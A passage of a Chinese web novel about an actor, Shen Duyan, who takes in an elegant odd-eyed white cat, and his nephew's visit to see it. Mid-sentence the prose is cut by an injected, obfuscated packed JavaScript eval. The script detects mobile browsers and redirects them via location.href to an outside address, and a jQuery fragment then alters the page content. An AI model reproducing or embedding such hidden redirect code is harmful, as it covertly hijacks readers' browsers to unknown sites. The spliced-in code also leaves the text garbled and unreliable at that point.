除了湿了点,白猫其实通体干净得很。沈渡言毛巾简单给它擦了一遍,它也不挣扎。又取了吹风机开了最小档慢慢地给它吹干,白猫也不害怕,顶着暖风,它好像还挺享受人家给他服务的。 看着不像是流浪猫的样子,不会是从家里跑出来的吧。 吹完,白猫的长毛就蓬了起来,比刚才大了一圈,像是个膨胀了的大毛球。它跳上沙发,开始舔爪子,姿态优雅得像是在拍广告。 沈渡言快速地冲了个澡出来,就看到白猫不知什么时候已经跟着进了他的卧室。正坐在飘窗的一个羊毛垫子上,坐姿端正,像是一个优雅的贵族小姐。 看他出来,白猫“喵”了一声。 他才看到这只长毛白猫两只眼睛的颜色不一样,一只琥珀色,一只冰蓝色。他对猫的颜值分类不熟悉,但他相信全人类对美的表现还是有基本共识的。 这只猫,称得上顶配颜值了。尤其这双鸳鸯眼,美得让人不由屏息。 沈渡言脑子里跳出一句诗:不敢高声语,恐惊天上人。 他本来想让这只猫睡在客厅里,但它走进卧室,沈渡言看它睡的羊毛垫子,觉得那里也可以。但等他真的躺在床上的时候,他还是觉得有点怪怪的。 它正用漂亮的鸳鸯眼看着他。 沈渡言不由想:这猫看着他,在想什么呢? 他还想思量思量,但一整天高强度的工作让他困意上涌,很快闭上眼睛,进入了深睡眠。 光线照进屋里,沈渡言感觉胸口沉沉的,呼吸变得很困难。他皱皱眉,那双丹凤眼慢慢睁开,对上了一双鸳鸯眼。左眼琥珀色,右眼冰蓝色,竖瞳里倒映着他的影子。 沈渡言:“起床了,先下去。” 白猫换了个姿势,两只原本搭在一起的前爪松开,按在他胸口,整只猫像只板鸭一样直挺挺地压在他身上。 沈渡言:感觉更难呼吸了。 他只能一只手护着白猫的背,一只手撑着床坐起来。这样白猫就顺着他的姿势滑到了他的腰腹。 沈渡言扶额,“你怎么跑我身上睡了?” “昨天晚上来的?”沈渡言看着自己睡衣上一小撮的长毛,“还是今天早上?” 白猫一脸无辜地看着他,粉粉的小鼻子湿漉漉的。 对上这双眼睛,沈渡言实在生不出一丝气来。从床上爬起来,去洗漱完,就看到沈嘉泽发了好多的消息过来。 沈嘉泽:叔,真的带了一只猫回家吗? 沈渡言:嗯。 沈嘉泽:那得是多好看的猫才能入你的眼啊。叔,拍张照片发过来看看。 沈渡言就对着坐在洗手池上优雅舔毛的白猫拍了一张,发了过去。 沈嘉泽:!!!绝美!!! 沈嘉泽:叔,我现在过去! 沈渡言对他要立刻过来的态度毫无意外。他这个侄子是爱猫爱狗一党,听到他家来了一只猫,是肯定要来看看的。 沈渡言:带点猫能吃的东西过来。 沈渡言的戏份已经告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404671|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段落,除了几个需要后期补拍的镜头,他已经基本上算是杀青了。 又可以回归悠闲的生活状态了。 沈渡言给自己整了杯牛奶喝了,又煎了块牛排慢慢吃。看着白猫正坐在餐桌前的凳子上看着这边,他想了想又煮了一些虾仁。 二十来分钟后,沈嘉泽快步走进院子。 透过巨大的玻璃窗,他一眼就看见餐桌旁,他帅气依旧气质斐然的小叔沈渡言正切着牛排慢慢吃着。而他的身边,那只比他叔发给他的照片上更加貌美的白色长毛猫正低头叼起一个虾仁。 一人一猫吃东西的姿势,都优雅骄矜地要命。 沈嘉泽赶紧掏手机,趁着一人一猫还没发现,拍下一张照片。 刚刚拍好,还来不及欣赏。白猫已经抬头看过来,沈渡言像是发现了,也朝窗外看过来。 男人的丹凤眼,猫猫的鸳鸯眼。 沈嘉泽倒抽一口冷气,脑子还没反应过来,手机已经已经啪啪啪地一通连拍。 “绝了!”沈嘉泽见惯圈内帅哥美女,见惯各类好看的猫猫狗狗,但此刻他的言语系统也失灵了,只剩下,“绝了!真绝了!” 绝色,绝不仅仅停在皮肉上,也不仅仅深入骨相中。超脱世俗的气质,才是真的能够称得上绝色倾城。 真想给这一人一猫跪下唱征服。 沈嘉泽拎着东西进门了。守了一晚上傻狗,他有点疲倦。早上看到沈渡言的消息,他还在宠物医院里,正好买了点猫粮猫零食,又买了袋猫砂过来。 帮着沈渡言把东西安置好。 “问问有没有人家的猫走丢了。”沈渡言说。 沈嘉泽看了一眼正在猫砂盆里酝酿尿意的白猫,摸下巴,“这还是临清狮子猫呢,长得这么好看,还这么干净,还真有可能是谁家猫走丢了。” 沈渡言看了一眼那白猫,转身进一旁的健身室。 沈嘉泽听着沈渡言已经开始跑步了,忍不住摸了摸自己的肚子咋舌。这两天他吃得没节制,有点儿胖了。 偷偷瞟了一眼健身室镜子里那漂亮的背肌,沈嘉泽酸了。 谁懂啊,四十五岁的小叔比他一个二十七岁的年轻人的身材好出去几倍。这人啊,想要有资本,果然还是要自律为上。 “今天开始,我也要好好锻炼。” 沈嘉泽念叨一声,按照沈渡言的意思打了物业管家的电话,问了下有没有丢猫找猫,又安排自己的助理发布了几个启示,让丢猫的人看到消息赶紧联系。 “你这么好看,”沈嘉泽在白猫身边坐下来,笑眯眯地,他一看到猫啊狗啊的就总是笑成这样,“你主人肯定不舍得丢了你。你是自己跑出来的吧?” 白猫卧着,姿势简直可以上萌宠画报的那种。一双鸳鸯眼看过来,沈嘉泽只觉得受到了颜值暴击。 当然他还甘之如饴。 “可能很快就找到了,”沈嘉泽很习惯地和猫猫聊起天,“也很可能要好几天呢。” “要不要先跟我回家待两天?” 沈嘉泽诱惑,“我家里有很多好吃的,好玩的哦。空间比这里还要大,而且家里陪你玩的人可多呢。” 不像小叔这里,除了搞清洁的阿姨固定过来,偶尔会有个来做饭的,大部分时候,都是小叔一个人孤零零寂寞寞地在家待着。 白猫看他一眼,沈嘉泽满怀期待。 白猫无情地转过了身看向健身房的方向,留给了沈嘉泽一个白毛屁股。 沈嘉泽:…… 被拒绝了,但是!猫猫屁股也好看!尤其那条长毛大尾巴!摇啊摇的简直摇到了他心趴上!